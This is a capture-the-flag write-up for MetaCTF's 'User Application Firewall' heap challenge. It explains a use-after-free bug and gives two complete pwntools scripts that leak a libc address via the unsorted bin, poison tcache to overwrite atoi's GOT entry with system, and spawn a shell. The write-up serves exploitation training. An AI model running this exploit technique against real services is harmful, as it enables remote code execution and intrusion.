User Application Firewall
Description
Created by MetaCTF
Our penetration testing team is just one server away from getting access to all of C3's networks! This one's proving to be very tough, as the only thing that's running is their User Application Firewall. The company claims this service is hardened against any buffer overflow and other stack-based vulnerabilities. They even give you the compiled binary, their source code and libc that they used to run this service! Can you break in?
Connect to
host1.metaproblems.com 5600
to see if you can gain access to the system! This service is running on Ubuntu 18.04.NOTE: This flag's format is MetaCTF{}
TL;DR
Leak libc address from unsorted bin using UAF
Overwrite GOT using UAF
Solution
Analysis
Looking at the binary source code uaf.c
, there are 4 main functions, namely create
, view
, edit
, and delete
.
From these functions together with the challenge name, we can determine that this is a generic heap exploitation challenge.
The UAF abbreviation in the challenge title hints towards the Use-After-Free vulnerability.
In the del
function, we can specify a rule index and the function will free() the chunk.
...
free(rules[choice]);
freed[choice] = 1;
...
Notice how after freeing the chunk, the rules[choice]
isn't set to null
.
After freeing a chunk, the chunk would contain the fwd and bck pointers. These pointers are addresses to chunks and if we are able to read them, we might be able to leak some addresses.
Looking at the view
and edit
functions, we find the Use-After-Free vulnerability as a result of the poor checks in place.
...
for(index = 0; index < 32; index++) {
if(rules[index] == 0) {
break;
}
}
...
As the rules get freed from the del
function, it doesn't contain a null
byte, but it contains the fwd and bck pointers. So it doesn't break even if it reaches a freed block.
Now that we have a Use-After-Free vuln in view
, we can get an address leak.
Leaking Libc Address
The leaking of addresses cannot be done simply by freeing a chunk and viewing the chunk. This is because the freed chunk would be freed into tcache, which stores the freed chunks on the stack. So if we view the chunk, it would not return a libc address but instead the stack address.


We can see that the chunks are indeed stored in tcache and the addresses are stack addresses, not libc addresses.
To leak a libc address, we can try to leak from the unsorted bin. Note that tcache bin only stores up to 7 chunks. Additional chunks that are freed will then go into unsorted bin.
So we can allocate 8 chunks, free those 8 chunks. then view the latest chunk that was freed.
#!/usr/bin/env python3
from pwn import *
def option(m):
global p
p.sendlineafter(b'> ',m)
def create(m):
global p
option(b'1')
p.recvline()
p.clean()
p.sendline(m)
p.recvuntil(b'Your firewall rule ID is: ')
return p.recvline().strip()
def view(i):
global p
option(b'2')
p.recvline()
p.clean()
p.sendline(i)
p.recvuntil(b'Your rule: ')
return p.recvline()[:-1]
def edit(i,m):
global p
option(b'3')
p.recvuntil(b'you want to edit:\n')
p.clean()
p.sendline(i)
p.recvuntil(b'new firewall rule here:\n')
p.clean()
p.sendline(m)
def delete(i):
global p
option(b'4')
p.recvuntil(b'you want to delete:\n')
p.clean()
p.sendline(i)
return p.recvline()
elf = context.binary = ELF('./uaf_patched')
libc = ELF('./libc.so.6')
url,port = 'host1.metaproblems.com',5600
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process()
if args.GDB:
gdb.attach(p)
for _ in range(8):
print('creating',_)
create(b'test')
for i in range(7,-1,-1):
print('deleting',i)
delete(str(i).encode())
leak = view(b'0')
leak = u64(leak.ljust(8,b'\x00'))
print(hex(leak))
p.interactive()
p.close()

Now that we have a libc leak, we can calculate the libc base and get the address of the system
function in libc.
Overwriting GOT
Remember that we also have a Use-After-Free vuln in edit
. This means that we can modify the fwd pointer of tcache to wherever we want (as long as it is writable), create a new chunk with malloc(), then malloc will allocate the chunk at that address we specified.
Now we have an arbitrary write.
Looking at the source code under the main
function, our user input gets passed as an argument into the atoi
function.
We can overwrite the GOT of atoi
with our libc system
function, then pass in "/bin/sh" as our menu option to get RCE.
#!/usr/bin/env python3
from pwn import *
def option(m):
global p
p.sendlineafter(b'> ',m)
def create(m):
global p
option(b'1')
p.recvline()
p.clean()
p.sendline(m)
p.recvuntil(b'Your firewall rule ID is: ')
return p.recvline().strip()
def view(i):
global p
option(b'2')
p.recvline()
p.clean()
p.sendline(i)
p.recvuntil(b'Your rule: ')
return p.recvline()[:-1]
def edit(i,m):
global p
option(b'3')
p.recvuntil(b'you want to edit:\n')
p.clean()
p.sendline(i)
p.recvuntil(b'new firewall rule here:\n')
p.clean()
p.sendline(m)
def delete(i):
global p
option(b'4')
p.recvuntil(b'you want to delete:\n')
p.clean()
p.sendline(i)
return p.recvline()
elf = context.binary = ELF('./uaf_patched')
libc = ELF('./libc.so.6')
url,port = 'host1.metaproblems.com',5600
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process()
if args.GDB:
gdb.attach(p)
atoi_got = 0x404068
for _ in range(8):
print('creating',_)
create(b'test')
for i in range(7,-1,-1):
print('deleting',i)
delete(str(i).encode())
leak = view(b'0')
leak = u64(leak.ljust(8,b'\x00'))
offset = 0x7fc1feb0dca0-0x7fc1fe722000
libc.address = leak-offset
print(hex(leak))
edit(b'1',p64(atoi_got))
create(b'test')
create(p64(libc.sym['system']))
option(b'/bin/sh')
p.interactive()
p.close()
If you are testing locally, make sure to patch your binary to use the libc.so.6 given!

Last updated
Was this helpful?